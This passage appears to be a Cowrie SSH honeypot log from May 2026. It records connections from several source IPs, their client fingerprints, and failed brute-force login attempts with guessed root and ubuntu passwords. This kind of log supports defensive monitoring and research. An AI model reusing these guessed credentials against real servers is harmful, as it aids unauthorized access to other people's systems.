tp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:34.529355Z","src_ip":"112.104.154.26","session":"5e7db7ebc32e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qw12QW!@","message":"login attempt [ubuntu/qw12QW!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:35.308059Z","src_ip":"112.104.154.26","session":"5e7db7ebc32e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:36.498047Z","src_ip":"112.104.154.26","session":"5e7db7ebc32e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:36.962029Z","src_ip":"213.209.159.158","session":"3531893fdd7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":27746,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dac491ea1f3","protocol":"ssh","message":"New connection: 213.209.159.158:27746 (159.203.135.109:22) [session: 3dac491ea1f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:37.051975Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":59066,"dst_ip":"10.17.0.5","dst_port":22,"session":"139a92558e85","protocol":"ssh","message":"New connection: 78.44.192.210:59066 (10.17.0.5:22) [session: 139a92558e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:37.674717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:37.679516Z","src_ip":"78.44.192.210","session":"139a92558e85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:37.787817Z","src_ip":"78.44.192.210","session":"139a92558e85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:38.250440Z","src_ip":"78.44.192.210","session":"139a92558e85","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:38.390182Z","src_ip":"213.209.159.158","session":"3dac491ea1f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:38.394361Z","src_ip":"213.209.159.158","session":"3dac491ea1f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:39.359913Z","src_ip":"78.44.192.210","session":"139a92558e85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www123321","message":"login attempt [root/www123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:43.734469Z","src_ip":"213.209.159.158","session":"3dac491ea1f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:46.341696Z","src_ip":"213.209.159.158","session":"3dac491ea1f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":27770,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0a38bcf9d33","protocol":"ssh","message":"New connection: 213.209.159.158:27770 (159.203.135.109:22) [session: d0a38bcf9d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:46.449176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:47.822223Z","src_ip":"213.209.159.158","session":"d0a38bcf9d33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:47.826196Z","src_ip":"213.209.159.158","session":"d0a38bcf9d33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wt123456789","message":"login attempt [root/Wt123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:53.129671Z","src_ip":"213.209.159.158","session":"d0a38bcf9d33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:55.742637Z","src_ip":"213.209.159.158","session":"d0a38bcf9d33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":20152,"dst_ip":"159.203.135.109","dst_port":22,"session":"0439b0e595c4","protocol":"ssh","message":"New connection: 213.209.159.158:20152 (159.203.135.109:22) [session: 0439b0e595c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:55.861109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:57.169411Z","src_ip":"213.209.159.158","session":"0439b0e595c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:28:57.173600Z","src_ip":"213.209.159.158","session":"0439b0e595c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:01.770704Z","src_ip":"180.76.170.111","session":"8b65bb38f53c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wangz","message":"login attempt [root/wangz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:02.691215Z","src_ip":"213.209.159.158","session":"0439b0e595c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:04.954565Z","src_ip":"213.209.159.158","session":"0439b0e595c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":33596,"dst_ip":"159.203.135.109","dst_port":22,"session":"110032466d99","protocol":"ssh","message":"New connection: 213.209.159.158:33596 (159.203.135.109:22) [session: 110032466d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:05.069774Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.80.170","src_port":36848,"dst_ip":"10.17.0.5","dst_port":22,"session":"0929132446ee","protocol":"ssh","message":"New connection: 198.12.80.170:36848 (10.17.0.5:22) [session: 0929132446ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:05.141424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:05.157439Z","src_ip":"198.12.80.170","session":"0929132446ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:05.178926Z","src_ip":"198.12.80.170","session":"0929132446ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1221","message":"login attempt [root/1221] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:05.297163Z","src_ip":"198.12.80.170","session":"0929132446ee","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:06.257191Z","src_ip":"213.209.159.158","session":"110032466d99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:06.261620Z","src_ip":"213.209.159.158","session":"110032466d99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:06.324134Z","src_ip":"198.12.80.170","session":"0929132446ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www12345","message":"login attempt [root/www12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:12.311515Z","src_ip":"213.209.159.158","session":"110032466d99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:14.551194Z","src_ip":"213.209.159.158","session":"110032466d99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":24316,"dst_ip":"159.203.135.109","dst_port":22,"session":"293073de0ce3","protocol":"ssh","message":"New connection: 213.209.159.158:24316 (159.203.135.109:22) [session: 293073de0ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:14.644114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:15.704303Z","src_ip":"213.209.159.158","session":"293073de0ce3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:15.710060Z","src_ip":"213.209.159.158","session":"293073de0ce3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wq","message":"login attempt [root/Wq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:21.702083Z","src_ip":"213.209.159.158","session":"293073de0ce3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:23.917194Z","src_ip":"213.209.159.158","session":"293073de0ce3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":41420,"dst_ip":"159.203.135.109","dst_port":22,"session":"977d6a714aa0","protocol":"ssh","message":"New connection: 213.209.159.158:41420 (159.203.135.109:22) [session: 977d6a714aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:23.996850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:25.399992Z","src_ip":"213.209.159.158","session":"977d6a714aa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:25.404609Z","src_ip":"213.209.159.158","session":"977d6a714aa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wP","message":"login attempt [root/wP] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:29:30.815423Z","src_ip":"213.209.159.158","session":"977d6a714aa0","protocol":"ssh"}
